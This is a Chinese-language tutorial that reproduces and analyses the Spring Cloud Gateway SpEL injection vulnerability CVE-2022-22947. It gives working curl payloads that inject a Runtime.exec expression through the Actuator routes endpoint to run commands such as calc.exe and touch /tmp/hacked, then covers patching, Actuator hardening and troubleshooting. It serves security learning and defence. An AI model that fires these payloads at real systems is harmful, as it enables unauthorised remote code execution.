Spring Cloud Gateway SpEL注入漏洞CVE-2022-22947复现与深度剖析

Spring Cloud Gateway SpEL注入漏洞CVE-2022-22947复现与深度剖析 1. 项目概述与背景最近在整理内部安全资产时又看到了CVE-2022-22947这个漏洞的扫描记录。这个漏洞在2022年初爆出来的时候可以说是掀起了不小的波澜毕竟涉及到的是Spring Cloud Gateway这个在微服务架构中扮演着“流量守门员”角色的核心组件。一个远程代码执行漏洞出现在这里意味着攻击者可能绕过所有业务逻辑直接控制网关其危害性不言而喻。虽然距离漏洞公开已经过去一段时间相关的修复和防护措施也早已普及但我觉得对于安全从业者尤其是刚入行的朋友来说亲手复现一遍这个漏洞其价值远不止于完成一个“实验报告”。它能帮你深刻理解Spring Cloud Gateway的工作原理、漏洞的触发链条、以及在实际渗透测试中如何快速定位和利用这类问题。今天我就以一个“踩坑者”和“复盘者”的双重身份带你从头到尾、手把手地复现CVE-2022-22947并分享一些在复现过程中容易忽略的细节和排查技巧。简单来说CVE-2022-22947是Spring Cloud Gateway中的一个高危漏洞。在特定版本下当Gateway启用并暴露了Actuator API特别是/gateway端点且未对路由配置的更新操作进行严格校验时攻击者可以构造恶意的路由配置利用其中的SpELSpring Expression Language表达式注入最终在网关服务器上实现远程代码执行。这个漏洞的利用门槛相对较低但影响面却非常广因为它直接威胁到微服务架构的入口安全。接下来我们就从环境搭建开始一步步揭开它的面纱。2. 漏洞环境搭建与核心原理剖析2.1 靶机环境选择与搭建要复现漏洞首先得有一个存在漏洞的环境。最省事的方法当然是使用现成的漏洞靶场比如Vulhub或Vulfocus上都有打包好的环境。但为了更深入地理解漏洞成因我强烈建议你自己从零开始搭建一个简易的、存在漏洞的Spring Cloud Gateway应用。这能让你对项目的依赖、配置有最直观的感受。这里我选择使用Spring Boot 2.6.3和Spring Cloud 2021.0.0因为这是当时受影响的典型版本组合。你可以通过Spring Initializr快速生成一个项目核心依赖只需要选择Spring Cloud Gateway和Spring Boot Actuator。Actuator是暴露监控和管理端点的模块正是漏洞利用的关键入口。生成项目后关键的漏洞触发配置在application.yml或application.properties中。为了让Actuator端点可访问尤其是我们需要用到的/actuator/gateway端点你必须显式地开启它并进行暴露。一个典型的漏洞配置示例如下server: port: 8080 management: endpoint: gateway: enabled: true # 启用gateway端点 endpoints: web: exposure: include: * # 暴露所有端点这在实际生产中是极度危险的 base-path: /actuator # 访问路径前缀注意将management.endpoints.web.exposure.include设置为*意味着所有Actuator端点包括健康检查、信息、日志、路由管理等都对外暴露。这在生产环境中是绝对禁止的安全反模式也正是很多漏洞能够被利用的前提。在复现环境里我们这样配置是为了方便但务必清楚其风险。启动这个应用后访问http://localhost:8080/actuator你应该能看到一个JSON里面列出了所有可用的端点其中包含/actuator/gateway。如果能看到说明漏洞利用的“大门”已经打开了。2.2 漏洞核心原理SpEL表达式注入为什么一个路由配置更新功能会导致远程代码执行这就要深入到Spring Cloud Gateway处理路由的核心机制和SpEL表达式的特性了。Spring Cloud Gateway允许通过Actuator API动态地添加、删除路由。添加路由时你需要提交一个包含路由定义如ID、目标URI、断言、过滤器等的JSON。问题出在过滤器的配置上。Gateway的过滤器配置中某些属性的值支持使用SpEL表达式来动态计算。SpEL功能非常强大它不仅能进行简单的属性引用、方法调用甚至可以通过T()操作符调用任意Java类的静态方法。漏洞的根源在于当通过Actuator API添加路由时Gateway服务端在解析并保存路由配置的过程中对用户传入的过滤器配置中的SpEL表达式未经任何过滤或沙箱处理就直接进行了解析和执行。攻击者正是利用了这一点在过滤器配置里嵌入恶意的SpEL表达式例如#{T(java.lang.Runtime).getRuntime().exec(\calc.exe\)}。当该路由被请求触发时嵌入的SpEL表达式会被执行从而达到了命令执行的效果。更具体的技术路径是攻击入口暴露的POST /actuator/gateway/routes/{id}接口用于创建新路由。载荷载体在创建路由的JSON请求体中在filters数组里配置一个过滤器如AddResponseHeader并将其某个属性值设置为恶意的SpEL表达式字符串。触发执行路由创建后当有HTTP请求匹配到该路由的断言predicates时网关会执行该路由链上的过滤器。在初始化或执行这个恶意过滤器时SpEL表达式被解析求值恶意代码得以执行。利用技巧为了确保命令能执行攻击者通常会精心设计路由的断言条件使其能被自己轻易触发例如匹配一个特定的路径或头信息。理解了这个原理你就明白修复方案的核心要么禁用通过Actuator动态更新路由的功能要么对动态配置中的SpEL表达式进行严格的校验或禁用。官方后续的修复正是沿着这个思路进行的。3. 漏洞复现实操步骤详解理论讲完了我们动手来验证一下。整个利用过程可以清晰地分为三步信息探测、投递恶意路由、触发路由执行命令。3.1 第一步信息探测与端点确认在发起攻击前我们需要确认目标是否存在漏洞利用的条件。使用浏览器或curl命令即可完成初步探测确认Actuator端点暴露访问http://target-ip:8080/actuator。如果返回一个JSON对象并且其中包含gateway这个链接例如{_links:{gateway:{href:http://target-8080/actuator/gateway,...}}}那么第一个条件满足。确认Gateway端点可用进一步访问http://target-ip:8080/actuator/gateway/routes。如果返回当前的路由配置可能是空的JSON数组[]则说明/actuator/gateway端点已启用且可访问这是动态添加路由的前提。如果以上两步都成功那么目标很可能存在漏洞风险。接下来我们准备发起攻击。3.2 第二步构造并投递恶意路由配置这是利用的核心步骤。我们需要向/actuator/gateway/routes/{new_route_id}发送一个POST请求请求体是一个包含恶意SpEL表达式的路由定义JSON。我以一个在Windows靶机上弹出计算器calc.exe的Payload为例。假设我们创建的路由ID为hack。请求示例curl -X POST http://localhost:8080/actuator/gateway/routes/hack \ -H Content-Type: application/json \ -d { predicates: [ { name: Path, args: { _genkey_0: /hack } } ], filters: [ { name: AddResponseHeader, args: { name: X-Hack, value: #{T(java.lang.Runtime).getRuntime().exec(\calc.exe\)} } } ], uri: http://example.com, order: 0 }请求体关键点解析predicates: 定义了路由的匹配条件。这里我们设置了一个Path断言匹配路径/hack。这意味着任何访问http://target-ip:8080/hack的请求都会命中这条路由。filters: 定义路由的过滤器链。我们添加了一个AddResponseHeader过滤器本意是在响应头中添加一个X-Hack。但关键在于其value参数的值我们注入了一段SpEL表达式#{T(java.lang.Runtime).getRuntime().exec(\calc.exe\)}。当过滤器逻辑处理这个value时SpEL引擎会执行这段代码。uri: 路由转发的目标URI。这里填一个任意合法的URL即可因为我们的目的不是真的转发而是触发过滤器执行。在实际攻击中你可能会指向一个不存在的地址。order: 路由的优先级。发送这个POST请求后如果返回状态码为201 Created或者200 OK并且访问/actuator/gateway/routes能看到新增的hack路由说明恶意路由已经成功添加到了网关的内存中。实操心得在构造Payload时SpEL表达式中的引号转义是一个常见的坑点。在JSON字符串中双引号需要被转义为\。如果使用一些图形化工具如Postman直接粘贴未转义的Payload可能会导致JSON解析失败。我习惯先用curl命令测试因为它对转义字符的处理更直观。另外T()操作符用于指定类其后的方法调用支持重载你可以根据目标系统选择执行不同的命令例如在Linux上执行/bin/sh -c whoami。3.3 第三步刷新路由与触发执行仅仅添加路由恶意代码还不会执行。Spring Cloud Gateway的路由配置在内存中有一个加载和刷新的过程。我们需要显式地刷新路由让新添加的配置生效。刷新路由向/actuator/gateway/refresh端点发送一个POST请求。curl -X POST http://localhost:8080/actuator/gateway/refresh这个操作会触发网关重新加载所有路由定义。此时我们添加的包含SpEL过滤器的路由hack就被正式激活了。触发路由执行访问我们之前定义的路由路径http://localhost:8080/hack。 当这个HTTP请求到达网关时网关会匹配到ID为hack的路由然后开始执行其过滤器链。在执行到AddResponseHeader过滤器尝试获取value的值时嵌入的SpEL表达式#{T(java.lang.Runtime).getRuntime().exec(\calc.exe\)}会被解析并执行。如果一切顺利在网关服务器也就是运行Spring Cloud Gateway应用的那台机器上你应该会看到计算器程序calc.exe被弹出。这直观地证明了远程代码执行已经成功。完整的利用链验证你可以通过一个简单的脚本或连续的命令来验证整个流程# 1. 添加恶意路由 curl -X POST http://localhost:8080/actuator/gateway/routes/hack -H Content-Type: application/json -d {predicates:[{name:Path,args:{_genkey_0:/hack}}],filters:[{name:AddResponseHeader,args:{name:X-Hack,value:#{T(java.lang.Runtime).getRuntime().exec(\calc.exe\)}}}],uri:http://example.com,order:0} # 2. 刷新路由 curl -X POST http://localhost:8080/actuator/gateway/refresh # 3. 触发执行 curl http://localhost:8080/hack执行完第三步后检查服务器桌面是否有计算器弹出。如果没有图形界面可以尝试将命令改为执行touch /tmp/hackedLinux或echo hacked C:\hacked.txtWindows来验证文件操作是否成功。4. 漏洞修复与安全加固方案成功复现漏洞后我们必须讨论如何修复和防御。对于不同角色的读者关注点不同如果你是系统所有者/开发者立即升级这是最根本的解决方案。将Spring Cloud Gateway升级到安全版本对于Spring Cloud 2021.x 系列应升级至2021.0.1对于Spring Cloud 2020.x 系列应升级至2020.0.6。新版本默认禁用了通过Actuator端点进行路由操作的敏感功能并对配置中的SpEL表达式进行了安全限制。临时缓解措施如果无法立即升级必须采取以下措施严格限制Actuator端点暴露在生产配置中绝对不要使用include: \*\。只暴露必要的端点例如health和info。确保gateway端点不被暴露。management: endpoints: web: exposure: include: health,info # 仅暴露健康和基本信息端点禁用动态路由功能通过设置management.endpoint.gateway.enabled: false来彻底关闭通过Actuator管理路由的功能。网络层隔离通过安全组、防火墙或Kubernetes NetworkPolicy等机制确保Actuator端点默认/actuator/*仅能被内部管理网络或可信IP访问禁止公网直接访问。如果你是安全工程师/渗透测试人员你的任务是在授权测试中帮助企业发现这类问题。除了手动利用可以将其集成到扫描策略中自动化探测编写脚本或使用扫描器插件自动探测/actuator和/actuator/gateway端点的可访问性。无害化验证在授权测试中为了证明漏洞存在而不造成损害可以使用无害的SpEL表达式进行验证例如#{T(java.lang.System).getProperty(\user.dir\)}- 获取当前工作目录。#{T(java.lang.System).getenv(\PATH\)}- 获取环境变量。发起一个DNS查询或HTTP请求到你自己控制的服务器作为“外带”验证通道。关注依赖链在资产梳理时不仅要关注Spring Cloud Gateway本身还要关注那些引用了Gateway的聚合项目或二次开发框架它们同样可能受到威胁。5. 深度排查与疑难问题解决在复现过程中你可能会遇到各种问题导致利用失败。下面我整理了一份常见问题排查清单这些都是我踩过的坑问题现象可能原因排查步骤与解决方案访问/actuator返回4041. Actuator依赖未添加。2. 未配置暴露端点。1. 检查pom.xml或build.gradle确认已添加spring-boot-starter-actuator依赖。2. 检查application.yml确认management.endpoints.web.exposure.include包含了*或gateway。访问/actuator/gateway/routes返回404或4051. Gateway端点未单独启用。2. 版本差异端点路径或名称不同。1. 检查配置确认management.endpoint.gateway.enabled: true。2. 访问/actuator查看端点链接列表确认gateway链接存在且路径正确。POST添加路由返回4xx错误1. 请求体JSON格式错误。2. SpEL表达式语法错误或转义问题。3. 路由ID已存在。1. 使用JSON格式化工具校验请求体。2. 特别注意SpEL表达式中双引号的转义\。可以先尝试一个最简单的路由不含SpEL测试接口是否正常。3. 换一个唯一的路由ID。路由添加成功但刷新后访问路径不触发1. 路由断言Predicate配置错误请求未匹配。2. 过滤器配置的SpEL表达式在解析时出错导致路由整体失效。1. 检查predicates配置确保你访问的URL路径如/hack与配置的Path完全匹配。2. 在服务器日志中查找SpEL解析错误。可以尝试一个更简单的SpEL如#{11}验证过滤器是否工作。命令执行无回显1. 命令执行成功但无图形界面服务器无桌面环境。2. Runtime.exec执行管道或重定向复杂的命令可能失败。1. 改用创建文件、发送DNS/HTTP请求到外带服务器等方式验证命令执行。2. 使用String[]参数形式调用exec例如exec(new String[]{\/bin/sh\, \-c\, \whoami /tmp/out\})这比单纯一个字符串命令更可靠。升级后漏洞仍疑似存在1. 依赖版本冲突实际生效的并非安全版本。2. 自定义配置或代码覆盖了安全默认值。1. 使用mvn dependency:tree或gradle dependencies命令检查真实的依赖树确认spring-cloud-starter-gateway的版本号。2. 检查是否有自定义的GatewayProperties配置或扩展了路由定义逻辑可能重新引入了风险。一个高级技巧日志分析当利用不成功时查看Spring Boot应用的日志是最高效的排查手段。在application.yml中增加以下配置将Gateway和Actuator相关日志级别调为DEBUG或TRACElogging: level: org.springframework.cloud.gateway: DEBUG org.springframework.boot.actuate.endpoint.web.servlet: DEBUG重启应用后重复利用步骤。观察日志中是否有关于路由添加、刷新、匹配以及SpEL表达式解析的详细记录。错误信息通常会明确指出问题所在例如“SpEL evaluation failed”或“Cannot convert value of type java.lang.String to required type java.net.URI”。复现CVE-2022-22947绝不仅仅是为了让计算器弹出来那一刻的“成就感”。它更像是一次深入微服务网关安全腹地的实战演练。通过亲手搭建环境、构造Payload、触发漏洞、再到分析修复方案你会对“配置不当”、“表达式注入”这些抽象的安全概念有血肉般的理解。在真实的渗透测试或红队评估中面对成千上万的资产快速判断一个Spring Cloud Gateway实例是否存在此漏洞并选择合适的无害化验证方式这背后的经验就来自于一次次这样的复现练习。最后记住安全是一个持续的过程知其然并知其所以然才能更好地构建防御。